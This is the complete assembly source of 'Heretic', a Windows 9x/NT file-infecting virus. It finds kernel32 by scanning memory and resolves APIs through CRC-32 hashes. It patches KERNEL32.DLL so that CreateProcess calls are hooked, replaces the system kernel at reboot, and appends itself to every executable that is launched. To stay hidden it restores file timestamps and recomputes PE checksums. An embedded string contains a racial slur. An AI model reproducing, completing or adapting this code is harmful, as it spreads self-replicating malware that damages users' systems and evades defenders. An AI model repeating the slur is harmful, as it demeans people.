;
; SYNOPSIS
;
; Heretic - A Microsoft Windows 32 virus
;
; AUTHOR
;
; Memory Lapse, [NOP]
;  formerly of Phalcon/Skism
;
; ABSTRACT
;
; This virus works under all beta versions of Windows 9x, and Windows NT 4.0.
; Under a Win32s environment, the virus will fail since the kernel doesn't
; physically export any useable API. Parsing the import table of the host image
; for GetProcAddress and GetModuleHandle should do the trick.
;
; NOTES
;
; Finally after seven months (including a four month hiatus for university),
; I've finally finished this virus.
;
; Ideally when the kernel is infected, the object the virus extends
; (typically .reloc) should have its flags with IMAGE_SCN_MEM_WRITE turned off.
; This will prevent in-memory patching by antivirus software.  Heretic does
; not do this.  At least not yet.
;
; Useful reading material: Microsoft Platform, SDK, and DDK Documentation
;
; Greets to priest, h8, lookout, virogen and johnny panic.
;

.386
locals
.model  flat, stdcall
.code
.radix  16

include heretic.inc

CRC_POLY    equ     0EDB88320
CRC_INIT    equ     0FFFFFFFF

crc         macro   string
    crcReg = CRC_INIT
    irpc _x, 
        ctrlByte = '&_x&' xor (crcReg and 0ff)
        crcReg = crcReg shr 8
        rept 8
            ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
        endm
        crcReg = crcReg xor ctrlByte
    endm
    dd  crcReg
endm

MARKER      equ     "DOS lives somewhere in time"

org     0

start:  push    L offset host - start           ;location of old entry point
ddOldEntryPoint =   dword ptr $ - 4

        pushfd                                  ;save state
        pushad

        call    @@delta
@@delta:pop     ebp
        sub     ebp,offset @@delta - start
                                                ;thanks vg!
        db      81,0edh                         ;sub ebp,unsignedlong
ddEntryPoint    dd 0
        add     [esp+24],ebp                    ;return address of host

        mov     edi,[esp+28]                    ;get a "random" pointer from stack
        and     edi,0FFFF0000                   ;mask off bottom word

        call    try
catch:  mov     esp,[esp+8]                     ;get pointer to our stack-based
                                                ; exception record
        jmp     finally                         ;and return to host

try:    push    dword ptr fs:[0]                ;this is our try { } block
        mov     fs:[0],esp                      ;create stack-based exception record

    .repeat
        dec     edi                             ;move back a byte
        lea     eax,[edi-MAGIC]                 ;thanks h8!

        cmp     [edi],eax                       ;match?  then we've found the kernel
    .until zero?

        mov     esi,[eax+exe_str.pe_offset]
        add     esi,eax                         ;traverse PE header and find
                                                ; Export Data Directory Table
        mov     ebp,[esi+pe_str.export_tbl]
        add     ebp,eax                         ;RVA -> absolute

        push    eax
        push    [ebp+edt_str.edt_ord_base]

        mov     ebx,[ebp+edt_str.edt_ord_rva]
        mov     edi,[ebp+edt_str.edt_name_rva]
        mov     ebp,[ebp+edt_str.edt_addr_rva]

        add     ebx,eax                         ;adjust ordinal table pointer
        add     edi,eax                         ;adjust name pointer table pointer
        add     ebp,eax                         ;adjust address pointer table pointer

        push    ebp                             ;we save these values onto the stack
        push    eax                             ; so we can free up registers

        call    @@delta
@@delta:pop     ebp
        sub     ebp,offset @@delta

        push    ebp

; on entry:
;  [esp] : delta offset
;  [esp+4] : image base
;  [esp+8] : address pointer table
;  [esp+0c] : ordinal base
;  ebx - ordinal table
;  esi - pointer to our list of apis
;  edi - name pointer table
        lea     esi,[ebp+name_ptr_api]
        mov     ecx,1
        mov     edx,(name_ptr_api_end - name_ptr_api) / 4

top:    push    edx
        push    esi

        mov     esi,[edi]                       ;calculate absolute offset of
        add     esi,[esp+0c]                    ; name pointer (image base)

        mov     edx,CRC_INIT

lup:    lodsb

        or      al,al                           ;termination token?  then quit
        jz      chkCRC

        xor     dl,al
        mov     al,8

    .repeat                                     ;perform CRC-32 on string
        shr     edx,1                           ;thanks jp!
     .if carry?
        xor     edx,CRC_POLY
     .endif
        dec     al
    .until zero?
        jmp     lup

chkCRC: pop     esi
        push    edi

        mov     ebp,ecx
        shl     ebp,1                           ;convert count into word index

        movzx   eax,word ptr [ebx+ebp]          ;calculate ordinal index
        sub     eax,[esp+14]                    ;relative to ordinal base
        shl     eax,2                           ;convert ordinal into dword index

        mov     ebp,eax
        mov     edi,[esp+10]

        add     eax,edi                         ;calculate offset
        mov     edi,[edi+ebp]                   ;RVA of API (dereference said offset)
        add     edi,[esp+0c]                    ;convert to absolute offset

        mov     ebp,[esp+8]

        cmp     edx,CRC_POLY                    ;CreateProcessA?
        org     $ - 4
            crc 
    .if zero?
        mov     [ebp+lpCreateProcessA],eax      ;hook it
        mov     [ebp+CreateProcessA],edi
    .endif
        cmp     edx,CRC_POLY                    ;or CreateProcessW?
        org     $ - 4
            crc 
    .if zero?
        mov     [ebp+lpCreateProcessW],eax      ;hook it
        mov     [ebp+CreateProcessW],edi
    .endif
        cmp     edx,[esi]                       ;or an API the virus uses?
    .if zero?
        mov     [esi+(name_ptr_api_end - name_ptr_api)],edi
        lodsd                                   ;update pointer
        dec     dword ptr [esp+4]               ;decrement our API count
    .endif
        pop     edi

next:   pop     edx
        add     edi,4                           ;next API
        inc     ecx                             ;remember displacement

        or      edx,edx                         ;no more names to parse?
        jnz     top

        pop     ebp                             ;restore delta offset
        add     esp,0c                          ;clear stack

        call    [ebp+GlobalAlloc], \            ;allocate memory for global structure
                    GMEM_FIXED, \
                    L size vir_str

        mov     edi,eax
        pop     [edi+vir_str.lpKernelBase]

        call    kernel                          ;attempt to infect the kernel

        call    [ebp+GlobalFree], \             ;release global structure resources
                    edi

finally:pop     dword ptr fs:[0]                ;this is our finally { } block
        pop     eax                             ;trash exception handler address
                                                ;low and behold, the stack is restored
        popad
        popfd

        ret

        db      '[nop] 4 life.. lapse, vg and jp own you! :)'

infect: mov     [edi+vir_str.ddError],TRUE      ;assume an error occurred

        call    [ebp+GetFileAttributesA], \
                    [edi+vir_str.lpFileName]

        mov     [edi+vir_str.ddFilterAttributes],eax
        inc     eax
        jz      exit

        call    [ebp+SetFileAttributesA], \     ;strip file attributes
                    [edi+vir_str.lpFileName], \
                    FILE_ATTRIBUTE_NORMAL

        or      eax,eax                         ;error?  possibly a r/o disk?
        jz      exit

        call    [ebp+CreateFileA], \
                    [edi+vir_str.lpFileName], \
                    GENERIC_READ or GENERIC_WRITE, \
                    FILE_SHARE_NOTSHARED, \
                    NULL, \
                    OPEN_EXISTING, \
                    FILE_ATTRIBUTE_NORMAL, \
                    NULL

        mov     [edi+vir_str.hFile],eax         ;if we don't get a valid file
        inc     eax                             ;descriptor (ie. an invalid handle),
        jz      exitChmod                       ;quit processing

        lea     eax,[edi+vir_str.ddLastWriteTime]
        lea     ecx,[edi+vir_str.ddLastAccessTime]
        lea     edx,[edi+vir_str.ddCreationTime]
        call    [ebp+GetFileTime], \            ;save file timestamps
                    [edi+vir_str.hFile], \
                    edx, \
                    ecx, \
                    eax

        call    [ebp+CreateFileMappingA], \     ;create a mmap object
                    [edi+vir_str.hFile], \
                    NULL, \
                    PAGE_READONLY, \
                    L 0, \
                    L 0, \
                    NULL

        or      eax,eax
        jz      exitTime

        mov     [edi+vir_str.hFileMappingObject],eax

        call    [ebp+MapViewOfFile], \          ;view the file in our address space
                    [edi+vir_str.hFileMappingObject], \
                    FILE_MAP_READ, \
                    L 0, \
                    L 0, \
                    L 0

        or      eax,eax
        jz      exitCloseMap

        mov     [edi+lpBaseAddress],eax

        cmp     word ptr [eax],IMAGE_DOS_SIGNATURE
        jnz     exitUnmap                       ;some sort of executable?

        mov     esi,eax
        add     esi,[eax+exe_str.pe_offset]     ;seek to NT header

        push    eax
        call    [ebp+IsBadCodePtr], \           ;can we read the memory at least?
                    esi                         ;potentially not a Windows file?

        or      eax,eax
        pop     eax
        jnz     exitUnmap

        cmp     dword ptr [esi],IMAGE_NT_SIGNATURE
        jnz     exitUnmap                       ;PE file?

        cmp     [esi+pe_str.timestamp],CRC_POLY
        org     $ - 4
            crc MARKER
        jz      exitUnmap

        lea     eax,[ebp+infectKernel]

        cmp     [edi+vir_str.lpInfectMethod],eax;attempting to infect KERNEL32.DLL?
    .if !zero?
        test    [esi+pe_str.flags],IMAGE_FILE_DLL
        jnz     exitUnmap                       ;and not a runtime library?
    .endif
        call    getLastObjectTable

        mov     eax,[ebx+obj_str.obj_psize]
        add     eax,[ebx+obj_str.obj_poffset]

        add     eax,(_end - start)              ;calculate maximum infected file size
        mov     ecx,[esi+pe_str.align_file]
        call    align

        mov     [edi+vir_str.ddFileSizeInfected],eax

        call    [ebp+UnmapViewOfFile], \
                    [edi+vir_str.lpBaseAddress]

        call    [ebp+CloseHandle], \
                    [edi+vir_str.hFileMappingObject]

        call    [ebp+CreateFileMappingA], \     ;reopen and extend mmap file
                    [edi+vir_str.hFile], \
                    NULL, \
                    PAGE_READWRITE, \
                    L 0, \
                    [edi+vir_str.ddFileSizeInfected], \
                    NULL

        mov     [edi+vir_str.hFileMappingObject],eax

        call    [ebp+MapViewOfFile], \
                    [edi+vir_str.hFileMappingObject], \
                    FILE_MAP_WRITE, \
                    L 0, \
                    L 0, \
                    L 0

        mov     [edi+vir_str.lpBaseAddress],eax

        add     eax,[eax+exe_str.pe_offset]
        mov     esi,eax

        call    getLastObjectTable

        mov     eax,[ebx+obj_str.obj_rva]       ;set new entry point if an EXE
        add     eax,[ebx+obj_str.obj_psize]     ; or set hooks if kernel32.dll
        call    [edi+vir_str.lpInfectMethod]

        push    edi
        push    esi

        mov     edi,[edi+vir_str.lpBaseAddress]
        add     edi,[ebx+obj_str.obj_poffset]
        add     edi,[ebx+obj_str.obj_psize]
        lea     esi,[ebp+start]
        mov     ecx,(_end - start)
        cld
        rep     movsb                           ;copy virus

        pop     esi
        pop     eax

        xchg    eax,edi
        sub     eax,[edi+vir_str.lpBaseAddress] ;new psize = old psize + (_end - start)
        sub     eax,[ebx+obj_str.obj_poffset]
        mov     ecx,[esi+pe_str.align_file]
        call    align                           ;calculate new physical size

        mov     [ebx+obj_str.obj_psize],eax

        mov     eax,[ebx+obj_str.obj_vsize]
        add     eax,(_end - start)
        mov     ecx,[esi+pe_str.align_obj]
        call    align                           ;calculate potential new virtual size

        cmp     eax,[ebx+obj_str.obj_psize]     ;if new physical size > new virtual size
    .if carry?
        mov     eax,[ebx+obj_str.obj_psize]     ;then let the virtual size = physical size
    .endif
        mov     [ebx+obj_str.obj_vsize],eax

        add     eax,[ebx+obj_str.obj_rva]

        cmp     eax,[esi+pe_str.size_image]     ;infected host increased in image size?
    .if !carry?
        mov     [esi+pe_str.size_image],eax
    .endif

        mov     [esi+pe_str.timestamp],CRC_POLY
        org     $ - 4
            crc MARKER
        or      [ebx+obj_str.obj_flags],IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE

        lea     eax,[ebp+szImageHlp]
        call    [ebp+LoadLibraryA], \           ;load image manipulation library
                    eax

        or      eax,eax
    .if !zero?
        push    eax                             ;(*) argument for FreeLibrary()

        lea     ecx,[ebp+szChecksumMappedFile]
        call    [ebp+GetProcAddress], \         ;get address of image checksum api
                    eax, \
                    ecx

        or      eax,eax
     .if !zero?
        lea     ecx,[esi+pe_str.pe_cksum]
        lea     edx,[edi+vir_str.ddBytes]
        call    eax, \                          ;calculate checksum
                    [edi+vir_str.lpBaseAddress], \
                    [edi+vir_str.ddFileSizeInfected], \
                    edx, \
                    ecx
     .endif
        call    [ebp+FreeLibrary]               ;argument is set at (*)
    .endif
        mov     [edi+vir_str.ddError],FALSE     ;no errors!

exitUnmap:
        call    [ebp+UnmapViewOfFile], \        ;unmap the view
                    [edi+vir_str.lpBaseAddress]
exitCloseMap:
        call    [ebp+CloseHandle], \            ;remove mmap from our address space
                    [edi+vir_str.hFileMappingObject]
exitTime:
        lea     eax,[edi+vir_str.ddLastWriteTime]
        lea     ecx,[edi+vir_str.ddLastAccessTime]
        lea     edx,[edi+vir_str.ddCreationTime]
        call    [ebp+SetFileTime], \            ;restore file time
                    [edi+vir_str.hFile], \
                    edx, \
                    ecx, \
                    eax

        call    [ebp+CloseHandle], \            ;close the file
                    [edi+vir_str.hFile]
exitChmod:
        call    [ebp+SetFileAttributesA], \     ;restore file attributes
                    [edi+vir_str.lpFileName], \
                    [edi+vir_str.ddFilterAttributes]
exit:   ret                                     ;return to caller

kernel: call    [ebp+GlobalAlloc], \            ;allocate memory for source buffer
                    GMEM_FIXED, \
                    _MAX_PATH

        mov     [edi+vir_str.lpSrcFile],eax

        call    [ebp+GetSystemDirectoryA], \    ;store %sysdir% in source buffer
                    eax, \
                    _MAX_PATH

        call    [ebp+GlobalAlloc], \            ;allocate memory for destination buffer
                    GMEM_FIXED, \
                    _MAX_PATH

        mov     [edi+vir_str.lpDstFile],eax

        call    [ebp+GetWindowsDirectoryA], \   ;store %windir% in destination buffer
                    eax, \
                    _MAX_PATH

        lea     eax,[ebp+szKernel]
        call    [ebp+lstrcatA], \               ;*lpSrcFile = %sysdir%\kernel32.dll
                    [edi+vir_str.lpSrcFile], \
                    eax

        lea     eax,[ebp+szKernel]
        call    [ebp+lstrcatA], \               ;*lpDstFile = %windir%\kernel32.dll
                    [edi+vir_str.lpDstFile], \
                    eax

        call    [ebp+CopyFileA], \
                    [edi+vir_str.lpSrcFile], \  ;%sysdir%\kernel32.dll
                    [edi+vir_str.lpDstFile], \  ; -> %windir%\kernel32.dll
                    FALSE

        lea     eax,[ebp+infectKernel]
        mov     [edi+lpInfectMethod],eax        ;we're trying to infect the kernel

        mov     eax,[edi+vir_str.lpDstFile]
        mov     [edi+vir_str.lpFileName],eax

        call    infect

    .if [edi+vir_str.ddError] == FALSE
        lea     eax,[ebp+szSetupApi]
        call    [ebp+LoadLibraryA], \
                    eax

        or      eax,eax                         ;if LoadLibrary fails, explicitly write
     .if zero?                                  ;to WININIT.INI (Windows 95)
        lea     eax,[ebp+szWinInitFile]         ;delete the original kernel
        push    eax
        push    [edi+vir_str.lpSrcFile]
        lea     eax,[ebp+szKeyName]
        push    eax
        lea     eax,[ebp+szAppName]
        push    eax
        call    [ebp+WritePrivateProfileStringA]

        lea     eax,[ebp+szWinInitFile]         ;move our patched kernel
        push    eax
        push    [edi+vir_str.lpDstFile]
        push    [edi+vir_str.lpSrcFile]
        lea     eax,[ebp+szAppName]
        push    eax
        call    [ebp+WritePrivateProfileStringA]
     .else
        push    eax                             ;(*) argument for FreeLibrary

        lea     ebx,[ebp+szSetupInstallFileExA] ;fetch address of API from this DLL
        call    [ebp+GetProcAddress], \
                    eax, \
                    ebx

        or      eax,eax
      .if !zero?
        lea     ebx,[edi+ddBytes]
        call    eax, \                          ;move patched kernel
                    NULL, \                     ;NT->delay until next reboot
                    NULL, \                     ; modified MoveFileEx behaviour?
                    [edi+vir_str.lpDstFile], \  ;98->WININIT.INI
                    NULL, \
                    [edi+vir_str.lpSrcFile], \
                    SP_COPY_SOURCE_ABSOLUTE or SP_COPY_DELETESOURCE, \
                    NULL, \
                    NULL, \
                    ebx
      .endif
        mov     esi,eax
        call    [ebp+FreeLibrary]
        mov     eax,esi
     .endif
        or      eax,eax
     .if zero?
        mov     [edi+vir_str.ddError],TRUE
     .endif
    .endif

    .if [edi+vir_str.ddError] == TRUE
        call    [ebp+DeleteFileA], \            ;delete %windir%\kernel32.dll if
                    [edi+vir_str.lpFileName]    ; an error infecting or moving
    .endif
        call    [ebp+GlobalFree], \             ;deallocate destination buffer
                    [edi+vir_str.lpDstFile]

        call    [ebp+GlobalFree], \             ;deallocate source buffer
                    [edi+vir_str.lpSrcFile]
        ret

infectKernel:
        xchg    eax,ecx

        movzx   eax,[esi+pe_str.size_NThdr]
        add     eax,esi
        add     eax,offset pe_str.majik

        mov     edx,0
lpCreateProcessA    =   dword ptr $ - 4
        sub     edx,[edi+vir_str.lpKernelBase]

@@lup:  cmp     [eax+obj_str.obj_rva],edx       ;was the API in the previous object?
        ja      @@next

        add     eax,size obj_str                ;next object
        jmp     @@lup

@@next: sub     eax,size obj_str                ;seek back to export object

        push    L offset hookCreateProcessA - start
        call    trapAPI

        mov     edx,0
lpCreateProcessW    =   dword ptr $ - 4
        sub     edx,[edi+vir_str.lpKernelBase]

        push    L offset hookCreateProcessW - start
        call    trapAPI

        ret

infectEXE:
        mov     [ebp+ddEntryPoint],eax
        xchg    eax,[esi+pe_str.rva_entry]

        mov     [ebp+ddOldEntryPoint],eax

        ret

trapAPI:push    ebx
        push    ecx

        mov     ebx,[eax+obj_str.obj_poffset]
        sub     ebx,[eax+obj_str.obj_rva]
        add     ebx,[edi+vir_str.lpBaseAddress]
        add     ebx,edx

        add     ecx,[esp+0c]
        mov     [ebx],ecx

        pop     ecx
        pop     ebx
        ret     4

align:  xor     edx,edx
        add     eax,ecx
        dec     eax
        div     ecx
        mul     ecx
        ret

getLastObjectTable:
        movzx   eax,[esi+pe_str.num_obj]
        cdq
        mov     ecx,L size obj_str
        dec     eax
        mul     ecx

        movzx   edx,[esi+pe_str.size_NThdr]
        add     eax,edx
        add     eax,esi
        add     eax,offset pe_str.majik         ;seek to last object table

        xchg    eax,ebx
        ret

;on entry:
; [esp] : return address to caller
; [esp+4] -> [esp+28] : registers
; [esp+2c] : return address to process
; [esp+34] : commandline
hookInfectUnicode:
        call    @@delta
@@delta:pop     ebp
        sub     ebp,offset @@delta

        mov     edi,[esp+34]
        call    [ebp+WideCharToMultiByte], \    ;find out how many bytes to allocate
                    CP_ACP, \                   ; ANSI code page
                    L 0, \                      ; no composite/unmapped characters
                    edi, \                      ; lpWideCharStr
                    L -1, \                     ; calculate strlen(lpWideCharStr)+1
                    NULL, \                     ; no buffer
                    L 0, \                      ; tell us how many bytes to allocate
                    NULL, \                     ; ignore unmappable characters
                    NULL                        ; don't tell us about problems

        or      eax,eax                         ;no bytes can be converted?
        jz      hookInfectError                 ;then bomb out.

        push    eax                             ;(*)

        call    [ebp+GlobalAlloc], \            ;allocate enough memory for the
                    GMEM_FIXED, \               ; converted UNICODE string
                    eax

        or      eax,eax                         ;any memory available?
        pop     ecx                             ;(*)
        jz      hookInfectError

        mov     esi,eax
        mov     edi,[esp+34]
        call    [ebp+WideCharToMultiByte], \    ;UNICODE -> ANSI conversion
                    CP_ACP, \                   ; ANSI code page
                    L 0, \                      ; no composite/unmappable characters
                    edi, \                      ; lpWideCharStr
                    L -1, \                     ; calculate strlen(lpWideCharStr)+1
                    esi, \                      ; destination buffer for ANSI characters
                    ecx, \                      ; size of destination buffer
                    NULL, \                     ; ignore unmappable characters
                    NULL                        ; don't tell us about problems
        jmp     hookInfectDispatch

;on entry:
; [esp] : return address to caller
; [esp+4] -> [esp+28] : registers
; [esp+2c] : return address to process
; [esp+34] : commandline
hookInfectAnsi:
        call    @@delta
@@delta:pop     ebp
        sub     ebp,offset @@delta

        mov     edi,[esp+34]                    ;get the filename

        call    [ebp+lstrlenA], \               ;calculate string length
                    edi                         ; (not including null terminator)

        or      eax,eax                         ;zero length?
        jz      hookInfectError

        inc     eax                             ;include null terminator

        call    [ebp+GlobalAlloc], \            ;allocate some memory for the copy
                    GMEM_FIXED, \
                    eax

        or      eax,eax                         ;no memory?
        jz      hookInfectError

        mov     esi,eax

        call    [ebp+lstrcpyA], \               ;*edi -> *esi
                esi, \
                edi

hookInfectDispatch:
        push    esi                             ;(*) argument for GlobalFree

        call    [ebp+GlobalAlloc], \            ;instantiate our global structure
                    GMEM_FIXED, \
                    L size vir_str

        or      eax,eax                         ;fatal error if no memory
        jz      hookInfectErrorFree

        mov     edi,eax
        mov     [edi+vir_str.lpFileName],esi
        mov     [edi+vir_str.ddError],FALSE     ;assume no parsing fix-ups required

        lodsb
        cmp     al,'"'
    .if zero?
        mov     [edi+vir_str.lpFileName],esi
        mov     [edi+vir_str.ddError],TRUE      ;parsing fix-ups required
    .endif

hookInfectParse:
        lodsb                                   ;get a byte
    .if [edi+vir_str.ddError] == TRUE           ;need a fix-up?
        cmp     al,'"'                          ;'"' is our terminator
        jnz     hookInfectParse
    .else                                       ;no fix-up required
        cmp     al,' '                          ;' ' or \0 is our terminator
        jz      hookInfectParsed
        or      al,al
        jnz     hookInfectParse
    .endif

hookInfectParsed:
        mov     byte ptr [esi-1],NULL           ;null terminate string

        lea     eax,[ebp+infectEXE]             ;we're infecting a non-kernel32 executable
        mov     [edi+vir_str.lpInfectMethod],eax
        call    infect

        call    [ebp+GlobalFree], \             ;deallocate global structure
                    edi
hookInfectErrorFree:
        call    [ebp+GlobalFree]                ;deallocate lpFileName
hookInfectError:
        ret

hookCreateProcessW:
        push    CRC_POLY
CreateProcessW      =   dword ptr $ - 4

hookUnicode:
        pushfd
        pushad
        call    hookInfectUnicode
        popad
        popfd
        ret

hookCreateProcessA:
        push    CRC_POLY
CreateProcessA      =   dword ptr $ - 4

hookAnsi:
        pushfd
        pushad
        call    hookInfectAnsi
        popad
        popfd
        ret

className                       db  '[Heretic] by Memory Lapse',0
message                         db  'For my thug niggaz.. uptown baby, uptown.',0

szKernel                        db  '\KERNEL32.DLL',0

szImageHlp                      db  'IMAGEHLP',0
szChecksumMappedFile            db  'CheckSumMappedFile',0
szSetupApi                      db  'SETUPAPI',0
szSetupInstallFileExA           db  'SetupInstallFileExA',0

szWinInitFile                   db  'WININIT.INI',0
szAppName                       db  'Rename',0
szKeyName                       db  'NUL',0

name_ptr_api:
ddCloseHandle:                  crc 
ddCopyFileA:                    crc 
ddCreateFileA:                  crc 
ddCreateFileMappingA:           crc 
ddDeleteFileA:                  crc 
ddFreeLibrary:                  crc 
ddGetFileAttributesA:           crc 
ddGetFileTime:                  crc 
ddGetProcAddress:               crc 
ddGetSystemDirectoryA:          crc 
ddGetWindowsDirectoryA:         crc 
ddGlobalAlloc:                  crc 
ddGlobalFree:                   crc 
ddIsBadCodePtr:                 crc 
ddLoadLibraryA:                 crc 
ddMapViewOfFile:                crc 
ddSetFileAttributesA:           crc 
ddSetFileTime:                  crc 
ddUnmapViewOfFile:              crc 
ddWideCharToMultiByte:          crc 
ddWritePrivateProfileStringA:   crc 
ddlstrcatA:                     crc 
ddlstrcpyA:                     crc 
ddlstrlenA:                     crc 
name_ptr_api_end:

; absolute offsets of desired API
CloseHandle                     dd  0
CopyFileA                       dd  0
CreateFileA                     dd  0
CreateFileMappingA              dd  0
DeleteFileA                     dd  0
FreeLibrary                     dd  0
GetFileAttributesA              dd  0
GetFileTime                     dd  0
GetProcAddress                  dd  0
GetSystemDirectoryA             dd  0
GetWindowsDirectoryA            dd  0
GlobalAlloc                     dd  0
GlobalFree                      dd  0
IsBadCodePtr                    dd  0
LoadLibraryA                    dd  0
MapViewOfFile                   dd  0
SetFileAttributesA              dd  0
SetFileTime                     dd  0
UnmapViewOfFile                 dd  0
WideCharToMultiByte             dd  0
WritePrivateProfileStringA      dd  0
lstrcatA                        dd  0
lstrcpyA                        dd  0
lstrlenA                        dd  0

_end:

host:   call    MessageBoxA, \
                    NULL, \
                    L offset lpText, \
                    L offset lpCaption, \
                    L 0                         ;MB_OK

        call    ExitProcess, \
                    L 0

.data
lpCaption       db      'Memory Lapse has something to say..',0
lpText          db      'Hello World!',0

end     start